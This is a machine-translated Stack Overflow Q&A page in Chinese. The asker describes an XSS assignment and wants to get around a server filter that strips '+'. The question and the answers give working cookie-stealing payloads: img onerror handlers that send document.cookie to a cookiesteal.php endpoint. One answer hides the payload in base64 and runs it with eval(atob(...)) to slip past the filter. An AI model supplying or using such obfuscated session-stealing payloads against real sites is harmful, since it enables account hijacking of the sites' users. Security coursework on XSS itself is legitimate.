首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >如何在不使用+的情况下将变量附加到var.src

如何在不使用+的情况下将变量附加到var.src
EN

Stack Overflow用户
提问于 2019-05-24 13:29:22
回答 4查看 89关注 0票数 1

我正在尝试为一个任务做一个XSS攻击,注入一些代码,然而服务器被设置为剥离大多数超文本标记语言标签,但我能够使用img标签和onerror注入。在注入时,我似乎不能得到正确的语法,因为它去掉了我的字符串append中的"+“(试图将cookie附加到我正在使用的源代码)。

代码语言:javascript
运行
复制
<img src="img.gif" 
     onerror="var img = document.createElement('img'); img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;">

当我在注入后检查这个(在inspect元素中)时,它显示了脚本,但末尾的加号丢失了。有没有其他方法可以在不使用+的情况下将这个cookie附加到img.src?

更新:

我得到了加号,现在事件监听器已经激活了。但是我尝试了使用onerror,onload,onmouseover,但是没有任何东西激活代码,我没有收到管理cookie。

EN

回答 4

Stack Overflow用户

发布于 2019-05-24 13:35:37

票数 1
EN

Stack Overflow用户

发布于 2019-05-24 13:46:20

在出错时尝试此操作

代码语言:javascript
运行
复制
eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))

我所做的一切

btoa()

  • eval可以将eval(atob('encoded code'));

作为代码执行,但我们需要首先对其进行解码,因此

  1. 会将代码作为字符串进行解码并转换为base64。

编码后的代码

代码语言:javascript
运行
复制
`var img = document.createElement('img');
     img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;`

所以你的终端应该看起来像

代码语言:javascript
运行
复制
<img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">
票数 0
EN

Stack Overflow用户

发布于 2019-05-24 14:10:30

使用encodeURIComponent

代码语言:javascript
运行
复制
<img src="img.gif" onerror="var img = document.createElement('img'); img.src=encodeURIComponent('http://localhost/cookiesteal.php?cookie='+ document.cookie);">
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/56286351

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档